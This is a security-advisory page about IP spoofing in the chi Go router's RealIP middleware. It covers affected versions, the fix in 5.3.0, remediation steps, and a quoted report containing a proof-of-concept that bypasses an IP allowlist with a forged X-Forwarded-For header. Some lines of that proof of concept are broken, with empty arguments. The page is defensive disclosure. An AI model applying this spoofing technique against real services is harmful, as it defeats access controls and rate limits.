Live › vulnerability › GHSA-3fxj-6jh8-hvhx
The chi router's RealIP middleware takes the first value of the X-Forwarded-For header as the client address without checking trusted proxies. A remote client can set that header to any IP, bypassing IP-based access controls and rate limits that rely on the detected address.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-04 03:51 UTC. All times on this page are UTC.
Go services that import chi v5.2.1 through v5.2.x and use middleware.RealIP to decide client identity for access control, rate limiting or logging. Exposure needs the service reachable directly by clients or behind a proxy that passes client-supplied X-Forwarded-For through. Services that do not use RealIP, or that only run behind a proxy which overwrites the header, are less exposed.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| github.com/go-chi/chi/v5/middleware | go | >= 5.2.1, < 5.3.0 | 5.3.0 |
| github.com/go-chi/chi/v5 | go | >= 5.2.1, < 5.3.0 | 5.3.0 |
go.mod for github.com/go-chi/chi/v5; affected versions are >= 5.2.1 and .< 5.3.0middleware.RealIP and confirm whether it is registered on routes that use IP-based allowlists or rate limits.github.com/go-chi/chi/v5 and github.com/go-chi/chi/v5/middleware: upgrade to 5.3.0.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Access Denied: You are not an administrator.\n"))
}
})
// --- Attack Simulation ---
fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")
// 1. Normal Request (Should be denied)
req1, _ := http.NewRequest("GET", "/admin/secret", nil)
rr1 := httptest.NewRecorder()
r.ServeHTTP(rr1, req1)
fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())
// 2. Spoofed Request (Using X-Forwarded-For)
req2, _ := http.NewRequest(, , )
req2.Header.Set(, )
rr2 := httptest.NewRecorder()
r.ServeHTTP(rr2, req2)
fmt.Printf(, rr2.Code, rr2.Body.String())
}
An attacker can masquerade as any IP address. This can lead to:
RemoteAddr as a key.github.com/go-chi/chi/v5 <= v5.2.1 (and all previous versions)middleware.RealIP if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.X-Forwarded-For header by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:
func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
xff := r.Header.Get("X-Forwarded-For")
if xff == "" {
return r.RemoteAddr
}
ips := strings.Split(xff, ",")
// Traverse from right to left
for i := len(ips) - 1; i >= 0; i-- {
ipStr := strings.TrimSpace(ips[i])
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !isTrustedProxy(ip, trustedProxies) {
return ipStr
}
}
return r.RemoteAddr
}
func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
for _, network := range trustedProxies {
if network.Contains(ip) {
return true
}
}
return false
}
By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.
This page as .md · .json · in your agent: get_signal("GHSA-3fxj-6jh8-hvhx")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.